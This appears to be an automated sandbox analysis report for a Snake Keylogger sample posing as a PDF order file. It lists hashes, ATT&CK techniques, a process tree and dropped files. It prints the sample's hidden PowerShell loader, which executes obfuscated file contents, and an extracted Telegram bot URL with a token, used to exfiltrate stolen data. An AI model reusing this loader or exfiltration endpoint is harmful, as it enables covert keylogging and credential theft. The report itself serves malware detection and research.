snakekeylogger | 7bc26c7ef9089a1b72821fe50dd72359674b683eabd5089cdfea3f46c01c2daa

Analysis

max time kernel
94s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11-11-2024 07:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ORDER#73672-MAT373674849083403894808434PDF.exe
Size

789KB
MD5

a9ec7c7601e1a9e920c673f11f6822a0
SHA1

1eae0a877e807c9e922ee17fcb84e7151c1903c0
SHA256

7bc26c7ef9089a1b72821fe50dd72359674b683eabd5089cdfea3f46c01c2daa
SHA512

68c58c290ef6f3073fffa448ec9247af351c99180773964f87ee9df756b854422525d93b7092eb06047889c24bf3efd5d179c8060ca6ae631889ebcba44f994c
SSDEEP

24576:+MwhYTNtE44ooIq/Zx0PARxFWfcFqal/F4X5Zi7:+MwhoMBjIwZq+WfQiX56

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot8040460346:AAFN58T9Y0-aqdzScEiebBO06S141L8RsSA/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/4572-205-0x0000000000800000-0x0000000001A54000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4080	powershell.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	4572	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4572	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4080	powershell.exe
4572	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\genfortolkende.ini	ORDER#73672-MAT373674849083403894808434PDF.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\Kdebrker\Sttteforeningen.man	ORDER#73672-MAT373674849083403894808434PDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3188	4572	WerFault.exe	98

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ORDER#73672-MAT373674849083403894808434PDF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4080	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeIncreaseQuotaPrivilege	4080	powershell.exe
Token: SeSecurityPrivilege	4080	powershell.exe
Token: SeTakeOwnershipPrivilege	4080	powershell.exe
Token: SeLoadDriverPrivilege	4080	powershell.exe
Token: SeSystemProfilePrivilege	4080	powershell.exe
Token: SeSystemtimePrivilege	4080	powershell.exe
Token: SeProfSingleProcessPrivilege	4080	powershell.exe
Token: SeIncBasePriorityPrivilege	4080	powershell.exe
Token: SeCreatePagefilePrivilege	4080	powershell.exe
Token: SeBackupPrivilege	4080	powershell.exe
Token: SeRestorePrivilege	4080	powershell.exe
Token: SeShutdownPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeSystemEnvironmentPrivilege	4080	powershell.exe
Token: SeRemoteShutdownPrivilege	4080	powershell.exe
Token: SeUndockPrivilege	4080	powershell.exe
Token: SeManageVolumePrivilege	4080	powershell.exe
Token: 33	4080	powershell.exe
Token: 34	4080	powershell.exe
Token: 35	4080	powershell.exe
Token: 36	4080	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 4080	4456	ORDER#73672-MAT373674849083403894808434PDF.exe	86
PID 4456 wrote to memory of 4080	4456	ORDER#73672-MAT373674849083403894808434PDF.exe	86
PID 4456 wrote to memory of 4080	4456	ORDER#73672-MAT373674849083403894808434PDF.exe	86
PID 4080 wrote to memory of 4572	4080	powershell.exe	98
PID 4080 wrote to memory of 4572	4080	powershell.exe	98
PID 4080 wrote to memory of 4572	4080	powershell.exe	98
PID 4080 wrote to memory of 4572	4080	powershell.exe	98

C:\Users\Admin\AppData\Local\Temp\ORDER#73672-MAT373674849083403894808434PDF.exe
"C:\Users\Admin\AppData\Local\Temp\ORDER#73672-MAT373674849083403894808434PDF.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Gabfest=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\haandbog\Autografere.Pre';$Funktionrens254=$Gabfest.SubString(31292,3);.$Funktionrens254($Gabfest)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4572
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4572 -s 1528
      4⤵
      Program crash
      PID:3188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4572 -ip 4572
1⤵
PID:4496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g1aeuusx.1fn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Autografere.Pre

Filesize
53KB

MD5
41d376695f4d2ba3de8a8fd41976cffa

SHA1
51c8832e28ecfd83020dc5cb125ed4adddfd480d

SHA256
070a3ec2310cb2b3742f535ca0e3d25a4209280d7757b0349522b6a905d77c45

SHA512
b6d176e6132a5445b2791637f073f32d93be65a1cdb0914e3fcfa706c89fbfc6e0bce0d748da32ccac51884241ec0996e15ffbf7aab7a985427e41456760ca60

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Isospore.Ste

Filesize
343KB

MD5
e025699e48ff0b11cbcdd506607a97fd

SHA1
7070893576f7f1cbf53222e0eb261f554c1b12e3

SHA256
e4785c0ca5c45636a4ad65a9d718a14921d29983de54cf306e779e8a260100a6

SHA512
8612babe9ba69a2f918fb2794d9bd32afd52075e12ca02a87977f54281f3a9e64ddf4e245ebab2146d00f5cbbb90b8b3016b250c9e06426fd2529d3dd898ce6c

Download Submit
C:\Users\Admin\AppData\Local\orts.lnk

Filesize
1KB

MD5
8b3b4a0c615b73823f56724d28b3f41d

SHA1
ab9f14a3e7773003fa53e454dfe3e0be15022908

SHA256
54be29c5a6db14b85807b7ce265dadf6ccc3865ef32efcc7d321e2108c978acb

SHA512
36a0ae831c61bb600b42bb9257927b3feed7cfe00c9878589b8b64a507a0a7b6e07b47ec2963e97cbed01ebc5902bf00c74419498dc9bf2f88738f274af71576

Download Submit
memory/4080-186-0x00000000077A0000-0x00000000077BE000-memory.dmp

Filesize
120KB

Download
memory/4080-204-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-153-0x0000000005C30000-0x0000000005C96000-memory.dmp

Filesize
408KB

Download
memory/4080-187-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-151-0x00000000053D0000-0x00000000059F8000-memory.dmp

Filesize
6.2MB

Download
memory/4080-164-0x0000000005D10000-0x0000000006064000-memory.dmp

Filesize
3.3MB

Download
memory/4080-165-0x0000000006330000-0x000000000634E000-memory.dmp

Filesize
120KB

Download
memory/4080-166-0x00000000064E0000-0x000000000652C000-memory.dmp

Filesize
304KB

Download
memory/4080-167-0x00000000072F0000-0x0000000007386000-memory.dmp

Filesize
600KB

Download
memory/4080-168-0x0000000006830000-0x000000000684A000-memory.dmp

Filesize
104KB

Download
memory/4080-169-0x0000000006880000-0x00000000068A2000-memory.dmp

Filesize
136KB

Download
memory/4080-170-0x0000000007AA0000-0x0000000008044000-memory.dmp

Filesize
5.6MB

Download
memory/4080-150-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-172-0x00000000086D0000-0x0000000008D4A000-memory.dmp

Filesize
6.5MB

Download
memory/4080-174-0x000000006FB10000-0x000000006FB5C000-memory.dmp

Filesize
304KB

Download
memory/4080-181-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-149-0x0000000004D60000-0x0000000004D96000-memory.dmp

Filesize
216KB

Download
memory/4080-175-0x00000000700C0000-0x0000000070414000-memory.dmp

Filesize
3.3MB

Download
memory/4080-154-0x0000000005CA0000-0x0000000005D06000-memory.dmp

Filesize
408KB

Download
memory/4080-152-0x0000000005350000-0x0000000005372000-memory.dmp

Filesize
136KB

Download
memory/4080-188-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-189-0x00000000077D0000-0x0000000007873000-memory.dmp

Filesize
652KB

Download
memory/4080-190-0x00000000078D0000-0x00000000078DA000-memory.dmp

Filesize
40KB

Download
memory/4080-192-0x0000000008050000-0x0000000008074000-memory.dmp

Filesize
144KB

Download
memory/4080-191-0x0000000007A50000-0x0000000007A7A000-memory.dmp

Filesize
168KB

Download
memory/4080-193-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-195-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-148-0x000000007368E000-0x000000007368F000-memory.dmp

Filesize
4KB

Download
memory/4080-198-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-197-0x000000007368E000-0x000000007368F000-memory.dmp

Filesize
4KB

Download
memory/4080-199-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-200-0x0000000008D50000-0x000000000B84F000-memory.dmp

Filesize
43.0MB

Download
memory/4080-202-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-201-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-203-0x0000000073680000-0x0000000073E30000-memory.dmp

Filesize
7.7MB

Download
memory/4080-173-0x0000000007760000-0x0000000007792000-memory.dmp

Filesize
200KB

Download
memory/4572-205-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download